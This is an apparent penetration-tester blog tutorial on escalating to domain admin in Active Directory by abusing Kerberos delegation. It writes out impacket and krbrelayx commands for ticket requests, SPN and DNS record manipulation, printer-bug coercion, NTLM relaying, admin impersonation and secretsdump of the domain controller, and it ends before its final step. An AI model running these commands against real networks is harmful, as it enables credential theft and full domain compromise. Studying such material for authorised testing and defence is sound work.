No Shells Required - a Walkthrough on Using Impacket and Kerberos to Delegate Your Way to DA

There are a ton of great resources that have been released in the past few years on a multitude of Kerberos delegation abuse avenues.  However, most of the guidance out there is pretty in-depth and/or focuses on the usage of @Harmj0y’s Rubeus.  While Rubeus is a super well-written tool that can do quite a few things extremely well, in engagements where I’m already running off of a primarily Linux environment, having tools that function on that platform can be beneficial.  To that end, all the functionality we need to perform unconstrained, constrained, and resource-based constrained delegation attacks is already available to us in the impacket suite of tools.

This post will cover how to identify potential delegation attack paths, when you would want to use them, and give detailed walkthroughs of how to perform them on a Linux platform.  What we won’t be covering in this guide is a detailed background of Kerberos authentication, or how various types of delegation work in-depth, as there are some really great articles already out that go into a ton of detail on the inner-workings of the protocol.  If you are interested in a deeper dive, the most comprehensive & enlightening post I’ve read is @Elad_Shamir’s write-up: https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html   

Unconstrained Delegation

What Is It?

Back in the early days of Windows Active Directory (pre-Server 2003) this was really the only way to delegate access, which at a high level effectively means configuring a service with privileges to impersonate users elsewhere on the network.  Unconstrained Delegation would be used for something like a front-end web server that needed to take in requests from users, and then impersonate those users to access their data on a second database server.  

Unfortunately, as the name implies, these impersonation rights were not limited to a single system or service, but rather allowed a configured account to impersonate anyone that authenticated against it anywhere on the network.  This is due to the fact that when an object authenticates to a service tied to an account configured with unconstrained delegation, they send the remote service a copy of their TGT (Ticket Granting Ticket), which allows the remote system to generate new TGS (Ticket Granting Service / service ticket) requests at-will.  These TGS’ are used for authenticating to Kerberos-enabled services across the network, meaning that if you possess an object’s TGT you can impersonate them anywhere on the network where you can authenticate with Kerberos.

When To Use:

If you can gain access to an account (user or computer) that is configured with unconstrained delegation.  To identify users & computers configured with unconstrained delegation I use pywerview, a python port of a good chunk of powerview’s functionality (https://github.com/the-useless-one/pywerview) but feel free to use whatever tools works best for you. This tool has handy flags to pull both accounts configured with both constrained + unconstrained delegation.  In this case what we’re really looking for is any user or computer with a UserAccountControl attribute that includes ‘TRUSTED_FOR_DELEGATION’.  All we’ll need at this point is a set of creds for AD to allow us to do the enumeration.  Taking a look at the output of the check we ran below, we can see that the user ‘unconstrained’ is configured with unconstrained delegation:

If you have found you have access to a computer object that is configured with unconstrained delegation, it may be easier simply to perform the print spooler attack and extract the ticket from memory using Rubeus, as detailed here: https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1.  However, if you have access to a user account configured with delegation or would prefer to avoid running code on remote systems as much as possible, the following should be helpful.

Process Walkthrough:

Note: This section is pretty much a direct walkthrough of the awesome work @_dirkjan wrote up in his blog here: https://dirkjanm.io/krbrelayx-unconstrained-delegation-abuse-toolkit/ If you’re familiar with this style of attack it’s nothing new, just a (hopefully) fairly straightforward walkthrough of the path that I’ve had the most success with on engagements after identifying unconstrained delegation.

If we do end up identifying any user accounts configured with unconstrained delegation, we’ll want to obtain Kerberos tickets we can attempt to crack.  For an account to be configured with delegation, they also need to be configured with an SPN (Service Principal Name).  This means that we should be able to retrieve a crackable Kerberos ticket for the account using GetUserSPNs.py

GetUserSPNs.py DOMAIN/USER:PASSWORD -request-user UNCONSTRAINED_USER

Assuming we’re able to recover the password for an account / used another method to get admin access on a computer configured with unconstrained delegation, we can now move on to attempting to leverage this access to get DA on the network.  We’ll start by attempting to add an SPN to the account we have access to. This is the only part of the attack that will require non-default settings to be configured (for a user account), but per all the sql devs on stack exchange asking how to enable it, it seems to be something that should be commonly turned on already.  If we have access to a computer account configured with unconstrained delegation, we can use the ‘Validated write to DNS host name’ security attribute (configured by default) to add an additional hostname to the object, which will automatically configure new SPN’s that will also be configured with unconstrained delegation. We then just have to create a new DNS record to point that new hostname to us.

We’ll be using dirk-jan’s krbrelayX toolkit for the rest of this process (https://github.com/dirkjanm/krbrelayx), first using addspn.py to attempt to add a ‘host’ spn for a nonexistent system on the network.  Note – it is important to ensure when you’re adding an SPN you use the fqdn of the network, not just the hostname.  You’ll see one of two messages, based on if your account has privileges to modify its own SPN’s (above = an account with appropriate attributes set, below = attribute not set).

addspn.py -u DOMAIN\\USER -p PASSWORD -s host/FAKESYSTEM.FQDN ldap://DC.FQDN

If you don’t have privileges, this is pretty much the end of this potential vector, although I would still recommend targeting the systems(s) on which the account has SPN’s configured for, as they likely have TGT’s in-memory.

However, if we are able to successfully add an SPN for a non-existent system we can keep going.  Next, we’ll want to add a DNS record for this same non-existent system that links back to our system’s IP, effectively turning our system into this non-existent system.  Due to the actions we took in the last step (creating an SPN for the ‘host’ service with our user configured with unconstrained delegation on this non-existent hostname that now points to our system), we are basically creating a new ‘computer’ on the network that has unconstrained delegation configured on the ‘host’ service on it. 

We’ll be using another part of the krbrelayx toolkit, dnstool.py, to complete this step to create a new DNS record and then point it at the IP of our attack box (Note: dns records take ~3 minutes to update, so don’t worry if you complete this step and cant immediately ping / nslookup your new host):

dnstool.py -u DOMAIN\\USERNAME -p PASSWORD -r FAKESYSTEM.FQDN -a add -d YOUR_IP DC_HOSTNAME

Everything should be ready to go now, we’ll execute the print spooler bug to force the DC$ account to attempt to authenticate to the host service of our new ‘computer’ that is configured with unconstrained delegation.  This will in turn cause the DC to provide a copy of its TGT when authenticating, which we can then use to impersonate it on any other Kerberos-enabled service.  In one window we’ll set up krbrelayx.py as follows: **This is very important**  the krbsalt is the FQDN of the domain in ALL CAPS, followed immediately by the username (case-sensitive).  The Krbpass is the user’s password, nothing crazy there.

krbrelayx.py --krbsalt DOMAIN.FQDNUsernameCaseSensitive --krbpass PASSWORD

Once you have that running in one window, we’ll use the final tool within the krbrelayx toolkit to kick off the attack (Note: The user used to kick off the attack doesn’t matter, it can be any domain user).  The below shows what the successful attack looks like:

printerbug.py DOMAIN/USERNAME:PASSWORD@DC_HOSTNAME FAKE_SYSTEM.FQDN

On our krbrelayx window, we should see that we have gotten an inbound connection, and have obtained a tgt (formatted as .ccache) file for the DC$ account:

At this point, we just need to export the ticket we received into memory, after which we should be able to run secretsdump against the DC:

export KRB5CCNAME=CCACHE_FILE.CCACHE

secretsdump.py -k DC_Hostname -just-dc

Constrained Delegation

What Is It?

Microsoft’s next iteration of delegation included the ability to limit where objects had delegation (impersonation) rights to.  Now a front-end web server that needed to impersonate users to access their data on a database could be restricted; allowing it to only impersonate users on a specific service & system.  However, as we will find out, the portion of the ticket that limits access to a certain service is not encrypted.  This gives us some room to gain additional access to systems if we gain access to an object configured with these rights.

When To Use:

If you can gain access to an account (user or computer) that is configured with constrained delegation.  You can find this by searching for the ‘TRUSTED_TO_AUTH_FOR_DELEGATION’ value in the UserAccountControl attribute of AD objects.  This can be also be found through the use of Pywerview, as outlined in the above section.

Process Walkthrough:

This time, we’ll start by targeting another account, httpDelegUser.  As we can see from our initial enumeration with Pywerview, this account has the ‘TRUSTED_TO_AUTH_FOR_DELEGATION’ flag set.  We can also check the contents of the account’s msDS-AllowedToDelegateTo attribute to determine that it has delegation privileges to the www service on Server02.  Not the worst thing in the world, but probably not going to get us a remote shell.

 

Also a quick recap of the account’s group memberships:

 

To start this attack, we’ll use another impacket tool – getST.py – to retrieve a ticket for an impersonated user to the service we have delegation rights to (the www service on server02 in this case).  In this example we’ll impersonate ‘bob’, a domain admin in this environment.  Note: If a user is marked as ‘Account is sensitive and cannot be delegated’ in AD, you will not be able to impersonate them. 

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getST.py -spn SERVICE/HOSTNAME_YOU_HAVE_DELEGATION_RIGHTS_TO.FQDN -impersonate TARGET_USER DOMAIN/USERNAME:PASSWORD

From here, the initial assumption would be that we could only authenticate against the www service on server02 with this ticket.  However, Alberto Solino discovered that the service name portion of the ticket (sname) is not actually a protected part of the ticket.  This allows us to change the sname to any value we want, as long as its another service running under the same account as the original one we have delegation rights to.  For example, if our account (httpDelegUser) has delegation rights to a service that the server02 computer object is running (example SPN: www/server02), we can change our sname to any other SPN associated with server02 (ex. cifs/server02).  His blog on the mechanism by which this occurs is super insightful, and worth a read:  https://www.secureauth.com/blog/kerberos-delegation-spns-and-more

Even better for us, as Alberto Solino is one of the primary writers of impacket, he built this logic in so that these sname conversions happen automatically for us on the back-end:

From an operational standpoint, what this means is that the ticket for the www service we obtained in the step above can be loaded into memory and used to run just about any of the impacket suite of tools to run commands, dump SAM, etc.

Resource-Based Constrained Delegation

Note: Microsoft is releasing an update in March 2020 that will enable LDAP channel binding & LDAP signing by default on Windows systems, remediating this potential attack vector on fully patched systems. 

What Is It?

Starting with Windows Server 2012, objects in AD could set their own msDS-AllowedToActOnBehalfOfOtherIdentity attribute, effectively allowing objects to set what remote objects had rights to delegate to them.  This allows those remote objects with delegation rights to impersonate any account in AD to any service on the local system.  Therefore, if we can convince a remote system to add an object that we control to their msDS-AllowedToActOnBehalfOfOtherIdentity attribute, we can use it to impersonate any other user not marked as ‘Account is sensitive and cannot be delegated' on it.

When To Use:

Basically, when you’re on a network and want to get a shell on a different system on that same network segment.  This attack can be ran without needing any prior credentials, as described by @_dirkjan in his blog here: https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation/ .  However, the method described does require that a domain controller in the environment is configured with LDAPS, which seems to be somewhat uncommon based on the environments I’ve tested against over the past 6 months.           

I’ll focus on a secondary scenario for this attack – one where you have compromised a standard low-privilege user account (no admin rights) or a computer account, and are on a network segment with other systems you want to compromise.

Process Walkthrough:

To begin with, what this attack really needs is *some* sort of account that is configured with an SPN.  This can be a computer account, a user account that is already configured with an SPN, or can be a computer account we create using a non-privileged user account by taking advantage of a default MachineAccountQuota configuration (https://blog.netspi.com/machineaccountquota-is-useful-sometimes/).  We need an account that is configured with an SPN as this is a requirement if we want the TGS produced by S4U2Self to be forward-able (Read more why this is necessary here: https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html#a-misunderstood-feature-1).  Computer accounts work as by default they are configured with a variety of SPN’s for all their various Kerberos-enabled services.

So, in our example let’s say we only have a low privilege account (we’ll use the ‘tim’ account). 

 

The first step in the process would be to try and create a computer account, so that we could gain control of an account configured with SPN’s.  To do this, we’ll use a relatively new impacket example script – addcomputer.py.  This script has a SAMR option to add a new computer, which functions over SMB and uses the same mechanism as when a new computer is added to a domain using the Windows GUI.

addcomputer.py -method SAMR -computer-pass MADE_UP_PASSWORD -computer-name MADE_UP_NAME DOMAIN/USER:PASSWORD

After running this command, your new computer object will be added to AD (Note: this example script was not fully working for me in python2.7 – the computer object was added but its password was not being appropriately set.  It does work using Python3.6 though.)

This script was released fairly recently, prior to it I used PowerMad.ps1 from a Windows VM to perform the same actions.  This tool uses a standard LDAP connection vs. SAMR, but the end result is the same.  For further info on PowerMad I recommend the following: https://github.com/Kevin-Robertson/Powermad

If this part of the attack didn’t work, the default MachineAccountQuota has likely been changed for users in the environment.  In that case you’ll need to use alternative methods to obtain a computer account / user account configured with an SPN.  However, once you have that, you can continue to proceed as described below.

For the next part of the attack we’ll be using mitm6 + ntlmrelayx.  Unlike a traditional NTLM relay attack, really what we’re interested in is intercepting machine account hashes, as we can forward them to LDAP on a domain controller.  This allows us to impersonate the relayed computer account and set its msDS-AllowedToActOnBehalfOfOtherIdentity attribute to include the computer object that we control.  Note: We unfortunately can’t relay SMB to LDAP due to the NTLMSSP_NEGOTIATE_SIGN flag set on SMB traffic, so will be focusing on intercepting HTTP traffic, such as windows update requests. 

We’ll first set up ntlmrelayx to delegate access to the computer account we just made & have control of (rbcdTest): 

ntlmrelayx.py -wh WPAD_Host --delegate-access --escalate-user YOUR_COMPUTER_ACCOUNT\$ -t ldap://DOMAIN_CONTROLLER

We next start a relay attack using mitm6.py or other relay tool, and wait for requests to start coming in.  Eventually you should see something that looks like the following:

In the above screenshot we can see that we successfully relayed the incoming auth request made by the server02$ account to LDAP on the domain controller and modified the object’s privileges to give rbcdTest$ impersonation rights on the system.

Once we have delegation rights, the rest of the attack is fairly straightforward.  We’ll use another impacket tool – getST.py – to create the TGS necessary to connect to Server02 using an impersonated identity.

This tool will get us a Kerberos service ticket (TGS) that is valid for a selected service on the remote system we relayed to LDAP (Server02).  As the rbcdTest$ account has delegation rights on this system, we are able to impersonate any user that we want, in this case choosing to impersonate ‘administrator’, a domain admin on the testlab.local network.

getST.py -spn cifs/Server_You_Relayed_To_Get_RBCD_Rights_On -impersonate TARGET_ACCOUNT  DOMAIN/YOUR_CREATED_COMPUTER_ACCOUNT\$:PASSWORD

With the valid ticket saved to disk, all we need to do is export it to memory, which will then allow us to remotely connect to the remote system with administrative privileges: